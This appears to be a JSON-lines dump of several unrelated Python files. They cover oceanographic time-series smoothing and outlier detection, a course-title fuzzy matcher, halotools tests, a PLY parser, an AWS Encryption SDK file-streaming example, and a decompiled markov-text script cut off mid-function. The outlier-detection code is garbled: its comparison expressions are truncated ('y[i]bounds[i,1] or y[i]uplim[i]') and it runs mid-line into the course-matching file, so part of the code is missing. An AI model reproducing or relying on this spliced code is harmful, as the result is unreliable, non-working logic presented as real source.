elif method=='expectileGAM':\n # NaNs need to be removed before gam\n tmpvar = np.array(y)\n tmptime = np.array(x)\n tmpdtime = np.array(dt)\n tmptime = tmptime[~np.isnan(tmpvar)]\n tmpdtime = tmpdtime[~np.isnan(tmpvar)]\n tmpvar = tmpvar[~np.isnan(tmpvar)]\n y = tmpvar\n x = tmptime\n dt = tmpdtime\n sobs_ts = so_expectileGAM(x,y,X,varalias,**kwargs)\n elif method=='gp':\n # NaNs need to be removed before gp\n tmpvar = np.array(y)\n tmptime = np.array(x)\n tmpdtime = np.array(dt)\n tmptime = tmptime[~np.isnan(tmpvar)]\n tmpdtime = tmpdtime[~np.isnan(tmpvar)]\n tmpvar = tmpvar[~np.isnan(tmpvar)]\n y = tmpvar\n x = tmptime\n dt = tmpdtime\n sobs_ts = so_GP(x,y,X,varalias,**kwargs)\n elif method=='nigp':\n # NaNs need to be removed before gp\n tmpvar = np.array(y)\n tmptime = np.array(x)\n tmpdtime = np.array(dt)\n tmptime = tmptime[~np.isnan(tmpvar)]\n tmpdtime = tmpdtime[~np.isnan(tmpvar)]\n tmpvar = tmpvar[~np.isnan(tmpvar)]\n y = tmpvar\n x = tmptime\n dt = tmpdtime\n sobs_ts = so_NIGP(x,y,X,varalias,**kwargs)\n elif method=='block_mean':\n # blocks are means from date_incr in hours\n # For each grid_input time_stamp compute mean of hour\n # if at least half of values are valid\n # else attribute NaN\n sobs_ts = block_means(dt,x,y,output_dates,date_incr)\n elif method=='lanczos':\n y = vardict[stdvarname]\n window = kwargs['window']\n cutoff = kwargs['cutoff']\n sobs_ts = lanczos(y,window,cutoff)\n idx = collocate_times(list(dt),output_dates)\n sobs_ts = sobs_ts[idx]\n else: print('Method not defined, please enter valid method')\n return sobs_ts\n\ndef lanczos_weights(window,cutoff):\n \"\"\"\n Calculate weights for a low pass Lanczos filter\n Args:\n window: (integer) the length of the filter window\n cutoff: (float) the cutoff frequency in inverse time steps\n example: https://scitools.org.uk/iris/docs/v1.2/examples/\n graphics/SOI_filtering.html\n \"\"\"\n order = ((window - 1) // 2 ) + 1\n nwts = 2 * order + 1\n w = np.zeros([nwts])\n n = nwts // 2\n w[n] = 2 * cutoff\n k = np.arange(1., n)\n sigma = np.sin(np.pi * k / n) * n / (np.pi * k)\n firstfactor = np.sin(2. * np.pi * cutoff * k) / (np.pi * k)\n w[n-1:0:-1] = firstfactor * sigma\n w[n+1:-1] = firstfactor * sigma\n return w[1:-1]\n\ndef lanczos(y,window,cutoff):\n from utils import runmean\n weights = lanczos_weights(window,cutoff)\n ts, std = runmean(y,window,mode='centered',weights=weights)\n return ts\n\ndef block_means(dt,x,y,X,date_incr):\n means = []\n if isinstance(x,list):\n x = np.array(x)\n if isinstance(y,list):\n y = np.array(y)\n for i in range(len(X)):\n # check if more than 50% of values are valid\n # if so compute mean\n idx = find_included_times(dt,\\\n sdate=X[i]-timedelta(hours=date_incr),\\\n edate=X[i],twin=0)\n block = y[idx]\n nominator = len(block[np.isnan(block)])\n denominator = len(block)\n if denominator == 0:\n ratio = 1\n else:\n ratio = nominator/float(denominator)\n if ratio < 0.5:\n means.append(np.nanmean(block))\n else:\n means.append(np.nan)\n means = np.array(means)\n return means\n\ndef so_linearGAM(x,y,X,varalias,**kwargs):\n from pygam import LinearGAM, l, s\n if isinstance(x,list):\n x = np.array(x)\n x = x.reshape(len(x),1)\n if isinstance(y,list):\n y = np.array(y)\n if isinstance(X,list):\n X = np.array(X)\n if X is None:\n X = x.reshape(len(x),1)\n else:\n X = X.reshape(len(X),1)\n if 'n_splines' in kwargs.keys():\n n_splines = kwargs['n_splines']\n else:\n # This is because the automatic approach is too smooth\n n_splines = int(len(y)/5)\n gam = LinearGAM(n_splines=n_splines,\\\n terms=s(0,basis='ps')\\\n ).gridsearch(x, y)\n # sample on the input grid\n means = gam.predict(X)\n return means\n\ndef so_expectileGAM(x,y,X,varalias,**kwargs):\n from pygam import s, ExpectileGAM\n if isinstance(x,list):\n x = np.array(x)\n if isinstance(y,list):\n y = np.array(y)\n if X is None:\n X = deepcopy(x)\n x = x.reshape(len(x),1)\n X = X.reshape(len(X),1)\n if 'n_splines' in kwargs.keys():\n n_splines = kwargs['n_splines']\n else:\n # This is because the automatic approach is too smooth\n n_splines = int(len(y)/5)\n if 'expectile' in kwargs.keys():\n expectile = kwargs['expectile']\n else:\n expectile = .5\n gam50 = ExpectileGAM(expectile=expectile,terms=s(0),\\\n n_splines=n_splines).gridsearch(x, y)\n # This practice of copying makes the models\n # less likely to cross and much faster\n # https://pygam.readthedocs.io/en/latest/notebooks/tour_of_pygam.html\n # and copy the smoothing to the other models\n pred = gam50.predict(X)\n return pred\n\ndef so_GP(x,y,X,varalias,**kwargs):\n from sklearn import gaussian_process\n from sklearn.gaussian_process.kernels import RBF\n from sklearn.gaussian_process.kernels import WhiteKernel\n from sklearn.gaussian_process.kernels import RationalQuadratic\n if isinstance(x,list):\n x = np.array(x)\n if isinstance(y,list):\n y = np.array(y)\n if isinstance(X,list):\n X = np.array(X)\n if X is None:\n X = x.reshape(-1,1)\n else:\n X = X.reshape(-1,1)\n x = x.reshape(-1,1)\n # create a zero mean process\n Y = y.reshape(-1,1) - np.nanmean(y)\n # define the kernel based on kwargs\n if 'kernel' in kwargs.keys():\n print('kernel is defined by user')\n kernel = kwargs['kernel']\n elif 'kernel_lst' in kwargs.keys():\n print('kernel constituents given by user')\n kernel = WhiteKernel(noise_level=1)\n if 'RBF' in kwargs['kernel_lst']:\n kernel += 1 * RBF(length_scale=1)\n if 'RationalQuadratic' in kwargs['kernel_lst']:\n kernel += 1 * RationalQuadratic(alpha=1,\\\n length_scale=1)\n else:\n print('default kernel')\n kernel = WhiteKernel(noise_level=1) + 1 * RBF(length_scale=1)\n gp = gaussian_process.GaussianProcessRegressor(\n kernel=kernel,\n n_restarts_optimizer=10)\n gp.fit(x, Y)\n print(gp.kernel_)\n y_pred, sigma = gp.predict(X, return_std=True)\n y_pred = y_pred + np.nanmean(y)\n return y_pred\n\ndef so_NIGP(x,y,X,varalias,**kwargs):\n import numpy as np\n from GPfcts import nll_fn_nigp\n from GPfcts import posterior_predictive_nigp\n from scipy.optimize import minimize\n from scipy.optimize import Bounds\n if isinstance(x,list):\n x = np.array(x)\n if isinstance(y,list):\n y = np.array(y)\n if isinstance(X,list):\n X = np.array(X)\n if X is None:\n X = x.reshape(-1,1)\n else:\n X = X.reshape(-1,1)\n x = x.reshape(-1,1)\n # create a zero mean process\n Y = y.reshape(-1,1) - np.nanmean(y)\n # initialize using using standard GP\n mu = so_GP(x,Y,x,varalias,**kwargs)\n # define inits\n inits = np.array([1,1,1,1])\n # define bounds\n ulim = 1000\n bounds = Bounds([1, .001, .001, .001],[ulim,ulim,ulim,ulim])\n # continue with NIGP (depends on number of interations)\n if 'iter' in kwargs.keys():\n for i in range(kwargs['iter']):\n # get gradient\n fgrad = np.gradient(mu.ravel())\n # interpolate to points of interest\n fgrad_opt = np.interp(x.ravel(), X.ravel(), fgrad.ravel())\n fgrad_opt = fgrad_opt.reshape(-1,1)\n print(nll_fn_nigp(x, Y,Grad_fmean=fgrad_opt))\n # optimization\n res = minimize(\n nll_fn_nigp(x, Y,Grad_fmean=fgrad_opt),\n inits,\n bounds=bounds,\n method='L-BFGS-B')\n #method='SLSQP')\n l_opt, sigma_f_opt, sigma_y_opt, sigma_x_opt = res.x\n # compute statistics\n mu, cov = posterior_predictive_nigp(\n x,x,Y,\n l = l_opt,\n sigma_f = sigma_f_opt,\n sigma_y = sigma_y_opt,\n sigma_x = sigma_x_opt,\n Grad_fmean = fgrad_opt )\n print( 'l:',l_opt,'sigma_f:',sigma_f_opt,\n 'sigma_y:',sigma_y_opt,'sigma_x:',sigma_x_opt )\n # last step is to compute predictive posterior statistics\n # for output grid and add previously substracted mean\n mu, cov = posterior_predictive_nigp(\n X,x,Y,\n l = l_opt,\n sigma_f = sigma_f_opt,\n sigma_y = sigma_y_opt,\n sigma_x = sigma_x_opt,\n Grad_fmean = fgrad_opt )\n mu += np.mean(y)\n return mu\n\ndef detect_outliers(varalias,vardict,method='gam',**kwargs):\n print('Detect outliers with method:', method)\n stdvarname = variable_info[varalias]['standard_name']\n ol_dict={}\n dt = vardict['datetime']\n x = vardict['time']\n y = vardict[stdvarname]\n # coars use approximate limits (in future use range from yaml)\n llim = variable_info[varalias]['valid_range'][0]\n ulim = variable_info[varalias]['valid_range'][1]\n # rigorous removal use techniques like:\n # blockVariance, GP, GAM, (quantile regression) random forest, ...\n if method=='gam':\n idx = ol_linearGAM(x,y,varalias,**kwargs)\n ts_clean = np.array(y)\n ts_clean[idx] = np.nan\n if method=='gp':\n idx = ol_GP(x,y,varalias,**kwargs)\n ts_clean = np.array(y)\n ts_clean[idx] = np.nan\n if method=='expectileGAM':\n idx = ol_expectileGAM(x,y,varalias,**kwargs)\n ts_clean = np.array(y)\n ts_clean[idx] = np.nan\n ol_dict['indices']=idx\n ol_dict['ts_clean']=ts_clean\n return ol_dict\n\ndef ol_expectileGAM(x,y,varalias,**kwargs):\n from pygam import s, ExpectileGAM\n if isinstance(x,list):\n x = np.array(x)\n if isinstance(y,list):\n y = np.array(y)\n X = x.reshape(len(x),1)\n if 'n_splines' in kwargs.keys():\n n_splines = kwargs['n_splines']\n else:\n # This is because the automatic approach is too smooth\n n_splines = int(len(y)/5)\n gam50 = ExpectileGAM(expectile=.5,terms=s(0),\\\n n_splines=n_splines).gridsearch(X, y)\n # This practice of copying makes the models\n # less likely to cross and much faster\n # https://pygam.readthedocs.io/en/latest/notebooks/tour_of_pygam.html\n # and copy the smoothing to the other models\n lam = gam50.lam\n # now fit a few more models\n if 'expectile_ulim' in kwargs.keys():\n expectile_ulim = kwargs['expectile_ulim']\n else:\n expectile_ulim = .95\n if 'expectile_llim' in kwargs.keys():\n expectile_llim = kwargs['expectile_llim']\n else:\n expectile_llim = .05\n gam_ulim = ExpectileGAM(expectile=expectile_ulim, lam=lam,\n terms=s(0),n_splines=n_splines).fit(X, y)\n gam_llim = ExpectileGAM(expectile=expectile_llim, lam=lam,\n terms=s(0),n_splines=n_splines).fit(X, y)\n ulim = gam_ulim.predict(X)\n llim = gam_llim.predict(X)\n idx = [i for i in range(len(y)) \\\n if (y[i]>ulim[i] or y[i]bounds[i,1] or y[i]uplim[i] or Y[i] 0):\n line_course = lemmatizer(line_course)\n try:\n # Process generic course title similarity with fuzzywuzzy\n similar_course = process.extractOne(line_course, generic_course_titles, scorer=fuzz.partial_ratio)\n if (similar_course[1] > 75):\n # Add complete STARS info to return record\n codes = find_code(similar_course[0])\n line[1][\"COURSE_NAME\"] = similar_course[0]\n line[1][\"COURSE_SUBJECT\"] = codes[0]\n line[1][\"COURSE_CODE\"] = codes[1]\n\n #print(\"Returning \" + line_course + \" \" + str(similar_course[1]) + \" perct similar to \" + similar_course[0])\n else:\n line[1][\"COURSE_NAME\"] = \"OTHER\"\n line[1][\"COURSE_CODE\"] = \"OT_OTH\"\n line[1][\"COURSE_SUBJECT\"] = \"OT\"\n except:\n line[1][\"COURSE_CODE\"] = \"OTHER\"\n pass\n \n # Process generic course title similarity with spacy vectors\n #line_course_doc = nlp(line_course)\n #most_similar = 0\n #similar_title = 'OTHER'\n #for title in title_docs:\n # if(line_course_doc.similarity(title) > most_similar):\n # most_similar = line_course_doc.similarity(title)\n # similar_title = title.text\n #codes = find_code(similar_title)\n #data[line].append([\"COURSE_NAME\", similar_title])\n #data[line].append([\"COURSE_SUBJECT\", codes[0]])\n #data[line].append([\"COURSE_CODE\", codes[1]])\n else:\n line[1][\"COURSE_CODE\"] = \"NONE\"\n\n return data\n\n# Function to test comparators\ndef test_compare():\n courses = [\"US History\", \"United States History\", \"Calculus BC\", \"Calc BC\", \"Calculus (BC)\"]\n for course in courses:\n course = lemmatizer(course)\n print('For ' + course + str(difflib.get_close_matches(course, generic_course_titles, n=1, cutoff=0.2)))\n answer = process.extractOne(course, generic_course_titles, scorer=fuzz.partial_ratio)\n print(\"Returning \" + course + \" \" + str(answer[1]) + \" perct similar to \" + answer[0])\n\n# Lemmatize synonymous strings to STARS compatibility\ndef lemmatizer(line):\n course_dict = {\n 'mgmt': 'management',\n 'hr': 'human resources',\n 'bus': 'business',\n 'acc': 'accounting',\n 'acct': 'accounting',\n 'cs': 'computer science',\n 'eng': 'english',\n 'engl': 'english',\n 'comp': 'composition',\n 'lit': 'literature',\n 'hist': 'history',\n 'orch': 'orchestra',\n 'photo': 'photography',\n 'vid': 'video',\n 'lang': 'language',\n 'alg': 'algebra',\n 'trig': 'trigonometry',\n 'stat': 'statistics',\n 'precalc': 'precalculus',\n 'prog': 'programming',\n 'geom': 'geometry',\n 'diffeq': 'differential equations',\n 'calc': 'calculus',\n 'sci': 'science',\n 'env': 'environment',\n 'chem': 'chemistry',\n 'bio': 'biology',\n 'civ': 'civilization',\n 'united': 'us',\n 'states': '',\n 'psych': 'psychology',\n 'euro': 'european',\n 'gov': 'government',\n 'poli': 'polotics',\n 'geog': 'geography',\n 'econ': 'economics',\n '1': '9',\n '2': '10',\n '3': '11',\n '4': '12',\n 'pe': 'physical education',\n 'i': '1',\n 'ii': '2',\n 'iii': '3',\n 'iv': '4',\n 'v': '5',\n 'vi': '6'\n }\n line = line.split(' ')\n index = 0\n for token in line:\n if(token.lower() in course_dict):\n line[index] = course_dict[token.lower()]\n index += 1\n return ' '.join(line)\n\n# Function to find subject and course code given STARS generic course name\ndef find_code(title):\n for index, row in df.iterrows():\n if(str(row[course_col]) == str(title)):\n return (str(row[subject_col]), str(row[code_col]))\n","sub_path":"ocr/stars.py","file_name":"stars.py","file_ext":"py","file_size_in_byte":5183,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"94356547","text":"#!/usr/bin/env python\n\nfrom __future__ import (absolute_import, division, print_function,\n unicode_literals)\nimport numpy as np\nimport sys\n\nfrom ..tpcf_one_two_halo_decomp import tpcf_one_two_halo_decomp\nfrom ...custom_exceptions import *\n\nimport pytest\nslow = pytest.mark.slow\n\n__all__=['test_tpcf_one_two_halo_auto_periodic', 'test_tpcf_one_two_halo_cross_periodic']\n\n#create toy data to test functions\nNpts = 100\nIDs1 = np.random.random_integers(0,10,Npts)\nIDs2 = np.random.random_integers(0,10,Npts)\nsample1 = np.random.random((Npts,3))\nsample2 = np.random.random((Npts,3))\nrandoms = np.random.random((Npts*3,3))\nperiod = np.array([1.0,1.0,1.0])\nrbins = np.linspace(0,0.3,5)\nrmax = rbins.max()\n\n@slow\ndef test_tpcf_one_two_halo_auto_periodic():\n \"\"\"\n test the tpcf_one_two_halo autocorrelation with periodic boundary conditions\n \"\"\"\n \n result = tpcf_one_two_halo_decomp(sample1, IDs1, rbins, sample2 = None, \n randoms=None, period = period, \n max_sample_size=int(1e4), estimator='Natural')\n \n assert len(result)==2, \"wrong number of correlation functions returned.\"\n\n@slow\ndef test_tpcf_one_two_halo_cross_periodic():\n \"\"\"\n test the tpcf_one_two_halo cross-correlation with periodic boundary conditions\n \"\"\"\n \n result = tpcf_one_two_halo_decomp(sample1, IDs1, rbins, sample2 = sample2,\n sample2_host_halo_id=IDs2,randoms=None,\n period = period, max_sample_size=int(1e4),\n estimator='Natural', approx_cell1_size = [rmax, rmax, rmax], \n approx_cell2_size = [rmax, rmax, rmax], \n approx_cellran_size = [rmax, rmax, rmax])\n \n assert len(result)==6, \"wrong number of correlation functions returned.\"\n\n\n","sub_path":"halotools/mock_observables/test_clustering/test_tpcf_one_two_halo.py","file_name":"test_tpcf_one_two_halo.py","file_ext":"py","file_size_in_byte":1701,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"385974977","text":"import ply.yacc as yacc\r\nfrom analizador_lexico import tokens #herencia de los tokens del analizador lexico\r\nimport re \r\n\r\n# resultado del analisis\r\nresultado_gramatica = []\r\n\r\n#Aqui se colocan los tokens heredados con su nivel de precedencia\r\nprecedence = (\r\n ('right','IF', 'ELSE'),\r\n ('left', 'SEMI'),\r\n ('left', 'COMMA'),\r\n ('left', 'ASIGNAR'),\r\n ('left', 'SEMI'),\r\n ('left', 'NE'),\r\n ('left', 'LT', 'LE','GT', 'GE', 'AS'),\r\n ('left', 'MAS','MENOS'),\r\n ('left', 'MULTI','DIVIDE'),\r\n ('left', 'LBRACE', 'RBRACE'),\r\n ('left', 'PARENTESISIZQ', 'PARENTESISDER')\r\n)\r\n\r\n#Almacena los tipos de asignacion\r\nnombres = {}\r\n\r\n\r\n#Estas funciones se definen las condicionales\r\ndef p_declaracion_coditionif(t):\r\n 'declaracion : IF PARENTESISIZQ expresion GT expresion PARENTESISDER LBRACE expresion SEMI RBRACE'\r\n t[0] = t[1] # en dado caso que se quiera reutilizar solo se cambian los tokens con referencia la leguaje\r\n\r\n#declaracion de funcion else\r\ndef p_declaracion_coditionelse(t):\r\n 'declaracion : ELSE LBRACE expresion SEMI RBRACE'\r\n t[0] = t[1]\r\n\r\n# se definde como se debe llevar el proceso de asignacion con refencia al tipo de dato\r\ndef p_declaracion_asignar(t):\r\n 'declaracion : INT expresion ASIGNAR expresion SEMI'\r\n nombres[t[1]] = t[3]\r\n\r\ndef p_declaracion_asignar2(t):\r\n 'declaracion : DOUBLE expresion ASIGNAR expresion SEMI'\r\n nombres[t[1]] = t[3]\r\n \r\n# se define como inicia el programa\r\ndef p_declaracion_taginicio(t):\r\n 'declaracion : INICIO'\r\n t[0] = t[1]\r\n\r\n# se define como concluye el programa\r\ndef p_declaracion_tagfinal(t):\r\n 'declaracion : FIN'\r\n t[0] = t[1]\r\n\r\n#como se define una expresion.\r\ndef p_declaracion_expr(t):\r\n 'declaracion : expresion SEMI'\r\n t[0] = t[1]\r\n\r\n\r\n#definimos como se validara los operandos\r\ndef p_expresion_operaciones(t):\r\n '''\r\n expresion : expresion MAS expresion \r\n | expresion MENOS expresion \r\n | expresion MULTI expresion\r\n | expresion DIVIDE expresion \r\n\r\n '''\r\n #como debe de expresarse las operaciones cuando se este compilando \r\n if t[2] == '+':\r\n t[0] = t[1] + t[3]\r\n elif t[2] == '-':\r\n t[0] = t[1] - t[3]\r\n elif t[2] == '*':\r\n t[0] = t[1] * t[3]\r\n elif t[2] == '/':\r\n t[0] = t[1] / t[3]\r\n\r\n#variante de el menos\r\ndef p_expresion_minus(t):\r\n 'expresion : MENOS expresion %prec MENOS'\r\n t[0] = -t[2]\r\n\r\n#como se definen las expresiones entre parentesis y corchetes con expreciones\r\ndef p_expresion_grupo(t):\r\n '''\r\n expresion : PARENTESISIZQ expresion PARENTESISDER \r\n | LBRACE expresion RBRACE\r\n\r\n '''\r\n t[0] = t[2]\r\n\r\n# sintactico de expresiones logicas\r\ndef p_expresion_logicas(t):\r\n '''\r\n expresion : expresion LT expresion \r\n | expresion GT expresion \r\n | expresion LE expresion \r\n | expresion GE expresion \r\n | expresion ASIGNAR expresion \r\n | expresion AS expresion\r\n | PARENTESISIZQ expresion LT expresion PARENTESISDER\r\n | PARENTESISIZQ expresion GT expresion PARENTESISDER\r\n | PARENTESISIZQ expresion LE expresion PARENTESISDER\r\n | PARENTESISIZQ expresion GE expresion PARENTESISDER\r\n | PARENTESISIZQ expresion ASIGNAR expresion PARENTESISDER\r\n | PARENTESISIZQ expresion AS expresion PARENTESISDER\r\n ''' #cada una de las variantes en las expresiones logicas\r\n if t[2] == \"<\":\r\n t[0] = t[1] < t[3]\r\n elif t[2] == \">\":\r\n t[0] = t[1] > t[3]\r\n elif t[2] == \"<=\":\r\n t[0] = t[1] <= t[3]\r\n elif t[2] == \">=\":\r\n t[0] = t[1] >= t[3]\r\n elif t[2] == \"==\":\r\n t[0] = t[1] is t[3]\r\n elif t[2] == \"!=\":\r\n t[0] = t[1] != t[3]\r\n elif t[3] == \"<\":\r\n t[0] = t[2] < t[4]\r\n elif t[2] == \">\":\r\n t[0] = t[2] > t[4]\r\n elif t[3] == \"<=\":\r\n t[0] = t[2] <= t[4]\r\n elif t[3] == \">=\":\r\n t[0] = t[2] >= t[4]\r\n elif t[3] == \"==\":\r\n t[0] = t[2] is t[4]\r\n elif t[3] == \"!=\":\r\n t[0] = t[2] != t[4]\r\n\r\n#definicion de las funciones de tipos de variable, muy importante tomar en cuenta el orden \r\ndef p_expresion_decimal(t):\r\n 'expresion : DECIMAL'\r\n t[0] = t[1]\r\n\r\ndef p_expresion_numero(t):\r\n 'expresion : NUMERO'\r\n t[0] = t[1]\r\n\r\ndef p_expresion_id(t):\r\n 'expresion : ID'\r\n t[0] = t[1]\r\n\r\n#funcion que nos ayuda a recibir el error en caso de existir\r\ndef p_error(t):\r\n global resultado_gramatica\r\n if t:\r\n resultado = \"Error sintactico de tipo {:4} en el valor {:4}\".format(\r\n str(t.type), str(t.value))\r\n else:\r\n resultado = \"Error sintactico {}\".format(t)\r\n \r\n resultado_gramatica.append(resultado)\r\n\r\n# instanciamos el analizador sintactico\r\nsintactico = yacc.yacc()\r\n\r\n#funcion que captura de manera precisa los errores\r\ndef prueba_sintactica(data):\r\n global resultado_gramatica\r\n\r\n for item in data.splitlines():\r\n if item:\r\n gram = sintactico.parse(item)\r\n if gram:\r\n resultado_gramatica.append(str(gram))\r\n else:\r\n print(\"\") \r\n return resultado_gramatica\r\n\r\n\r\n\r\n#importamos el archivo a analizar\r\ndart = open('prueba.dart').read()\r\n#impresion de los resultados de manera ordena.\r\nprueba_sintactica(dart)\r\nprint('____________________________Analisis Sintactico____________________________')\r\nprint()\r\nprint('\\n'.join(list(map(''.join, resultado_gramatica)))) \r\n\r\n","sub_path":"Analizador Sintactico.py","file_name":"Analizador Sintactico.py","file_ext":"py","file_size_in_byte":5574,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"482733053","text":"# Copyright Amazon.com Inc. or its affiliates. All Rights Reserved.\n# SPDX-License-Identifier: Apache-2.0\n\"\"\"\nThis example shows how to use the streaming encrypt and decrypt APIs when working with files.\n\nOne benefit of using the streaming API is that\nwe can check the encryption context in the header before we start decrypting.\n\nIn this example, we use an AWS KMS customer master key (CMK),\nbut you can use other key management options with the AWS Encryption SDK.\nFor examples that demonstrate how to use other key management configurations,\nsee the ``keyring`` and ``master_key_provider`` directories.\n\"\"\"\nimport filecmp\n\nimport aws_encryption_sdk\nfrom aws_encryption_sdk.keyrings.aws_kms import AwsKmsKeyring\n\n\ndef run(aws_kms_cmk, source_plaintext_filename):\n # type: (str, str) -> None\n \"\"\"Demonstrate an encrypt/decrypt cycle using the streaming encrypt/decrypt APIs with files.\n\n :param str aws_kms_cmk: The ARN of an AWS KMS CMK that protects data keys\n :param str source_plaintext_filename: Path to plaintext file to encrypt\n \"\"\"\n # We assume that you can also write to the directory containing the plaintext file,\n # so that is where we will put all of the results.\n ciphertext_filename = source_plaintext_filename + \".encrypted\"\n decrypted_filename = ciphertext_filename + \".decrypted\"\n\n # Prepare your encryption context.\n # Remember that your encryption context is NOT SECRET.\n # https://docs.aws.amazon.com/encryption-sdk/latest/developer-guide/concepts.html#encryption-context\n encryption_context = {\n \"encryption\": \"context\",\n \"is not\": \"secret\",\n \"but adds\": \"useful metadata\",\n \"that can help you\": \"be confident that\",\n \"the data you are handling\": \"is what you think it is\",\n }\n\n # Create the keyring that determines how your data keys are protected.\n keyring = AwsKmsKeyring(generator_key_id=aws_kms_cmk)\n\n # Open the files you want to work with.\n with open(source_plaintext_filename, \"rb\") as plaintext, open(ciphertext_filename, \"wb\") as ciphertext:\n # The streaming API provides a context manager.\n # You can read from it just as you read from a file.\n with aws_encryption_sdk.stream(\n mode=\"encrypt\", source=plaintext, encryption_context=encryption_context, keyring=keyring\n ) as encryptor:\n # Iterate through the segments in the context manager\n # and write the results to the ciphertext.\n for segment in encryptor:\n ciphertext.write(segment)\n\n # Demonstrate that the ciphertext and plaintext are different.\n assert not filecmp.cmp(source_plaintext_filename, ciphertext_filename)\n\n # Open the files you want to work with.\n with open(ciphertext_filename, \"rb\") as ciphertext, open(decrypted_filename, \"wb\") as decrypted:\n # Decrypt your encrypted data using the same keyring you used on encrypt.\n #\n # You do not need to specify the encryption context on decrypt\n # because the header of the encrypted message includes the encryption context.\n with aws_encryption_sdk.stream(mode=\"decrypt\", source=ciphertext, keyring=keyring) as decryptor:\n # Check the encryption context in the header before we start decrypting.\n #\n # Verify that the encryption context used in the decrypt operation includes\n # the encryption context that you specified when encrypting.\n # The AWS Encryption SDK can add pairs, so don't require an exact match.\n #\n # In production, always use a meaningful encryption context.\n assert set(encryption_context.items()) <= set(decryptor.header.encryption_context.items())\n\n # Now that we are more confident that we will decrypt the right message,\n # we can start decrypting.\n for segment in decryptor:\n decrypted.write(segment)\n\n # Demonstrate that the decrypted plaintext is identical to the original plaintext.\n assert filecmp.cmp(source_plaintext_filename, decrypted_filename)\n","sub_path":"examples/src/file_streaming_defaults.py","file_name":"file_streaming_defaults.py","file_ext":"py","file_size_in_byte":4088,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"348186839","text":"# uncompyle6 version 3.7.4\n# Python bytecode 3.7 (3394)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: build/bdist.linux-x86_64/egg/mkv_this/mkv_this.py\n# Compiled at: 2020-04-30 15:26:28\n# Size of source mod 2**32: 8873 bytes\n\"\"\"\n mkv-this: input a text file, directory, url and/or pdf, output markovified text.\n\n Copyright (C) 2020 martianhiatus@riseup.net.\n\n This program is free software: you can redistribute it and/or modify\n it under the terms of the GNU General Public License as published by\n the Free Software Foundation, either version 3 of the License, or\n (at your option) any later version.\n\n This program is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n GNU General Public License for more details.\n\n You should have received a copy of the GNU General Public License\n along with this program. If not, see .\n\"\"\"\nimport markovify, os, sys, datetime, argparse\nfrom .functions import url, convert_html, dir_list, dir_cat, read, mkbtext, mkbnewline, writesentence, writeshortsentence, convert_pdf\n\ndef parse_the_args():\n parser = argparse.ArgumentParser(prog='mkv-this',\n description='markovify local text files, directory, or URLs and output the results to a local text file.',\n epilog=\"may you find many prophetic énoncés in your virtual bird guts! Here, this is not at all the becomings that are connected... so if you want to edit it like a bot yourself, it is trivial.\\n '`mkv-this` is a waste product of machine—machine interactions become the historical record.'\")\n parser.add_argument('infile', help='the text file to process.')\n parser.add_argument('outfile',\n nargs='?',\n default='./mkv-output.txt',\n help='the file to save to. if the file is used more than once, subsequent literature will be appended to it. defaults to ./mkv-output.txt.')\n parser.add_argument('-u',\n '--url', help='infile is a URL.', action='store_true')\n parser.add_argument('-d',\n '--directory',\n help='infile is a directory. all text files in it and its subdirectories will be used.',\n action='store_true')\n parser.add_argument('-P',\n '--pdf',\n help='infile is a pdf. NB: for this to work you need to install pdfminer with pip.',\n action='store_true')\n parser.add_argument('-s',\n '--state-size',\n help='the number of preceeding words used to calculate the probability of the next word. defaults to 2, 1 makes it more random, 3 less so. > 4 will likely have little effect.',\n type=int,\n default=2)\n parser.add_argument('-n',\n '--sentences',\n help=\"the number of 'sentences' to output. defaults to 5. NB: if your text has no initial caps, a 'sentence' will be a paragraph.\",\n type=int,\n default=5)\n parser.add_argument('-l',\n '--length',\n help='set maximum number of characters per sentence.',\n type=int)\n parser.add_argument('-o',\n '--overlap',\n help='the amount of overlap allowed between original and output, expressed as a ratio between 0 and 1. defaults to 0.5.',\n type=float,\n default=0.5)\n parser.add_argument('-c',\n '--combine',\n help='provide an another text file to be combined with the first item.')\n parser.add_argument('-C',\n '--combine-url', help='provide a URL to be combined with the first item.')\n parser.add_argument('-K',\n '--combine-pdf',\n help='provide a pdf to be combined with the first item. NB: for this to work you need to install pdfminer with pip.')\n parser.add_argument('-w',\n '--weight',\n help='specify the weight to be given to the text provided with -c or -C. defaults to 1, and the weight of the initial text is 1. 1.5 will place more weight on the second text, 0.5 will place less.',\n type=float,\n default=1)\n parser.add_argument('-f',\n '--well-formed',\n help=\"enforce 'well_formed': discard sentences containing []{}()'' from the markov model. use if output is filthy.\",\n action='store_true')\n parser.add_argument('--newline',\n help='sentences in input file end with newlines rather than full stops.',\n action='store_true')\n parser.add_argument('-t',\n '--timestamp',\n help='add date and time to the file before the output.',\n action='store_true')\n parser.add_argument('-p',\n '--save-options',\n help='add a brief summary of options used before the output.',\n action='store_true')\n return parser.parse_args()\n\n\nargs = parse_the_args()\n\ndef main():\n if args.url:\n html = url(args.infile)\n text = convert_html(html)\n else:\n if args.directory:\n matchlist = dir_list(args.infile)\n batchfile = args.infile + os.path.sep + 'batchfile.txt'\n dir_cat(matchlist, batchfile)\n text = read(batchfile)\n os.unlink(batchfile)\n else:\n if args.pdf:\n text = convert_pdf(args.infile)\n else:\n text = read(args.infile)\n if args.combine:\n ctext = read(args.combine)\n else:\n if args.combine_url:\n html = url(args.combine_url)\n ctext = convert_html(html)\n else:\n if args.combine_pdf:\n ctext = convert_pdf(args.combine_pdf)\n elif not args.combine:\n if args.combine_url or args.combine_pdf:\n if args.newline:\n text_model = mkbnewline(text, args.state_size, args.well_formed)\n ctext_model = mkbnewline(ctext, args.state_size, args.well_formed)\n else:\n text_model = mkbtext(text, args.state_size, args.well_formed)\n ctext_model = mkbtext(ctext, args.state_size, args.well_formed)\n combo_model = markovify.combine([text_model, ctext_model], [1, args.weight])\n elif args.newline:\n text_model = mkbnewline(text, args.state_size, args.well_formed)\n else:\n text_model = mkbtext(text, args.state_size, args.well_formed)\n if not args.combine:\n if args.combine_url or args.combine_pdf:\n model = combo_model\n else:\n model = text_model\n if args.length:\n write = 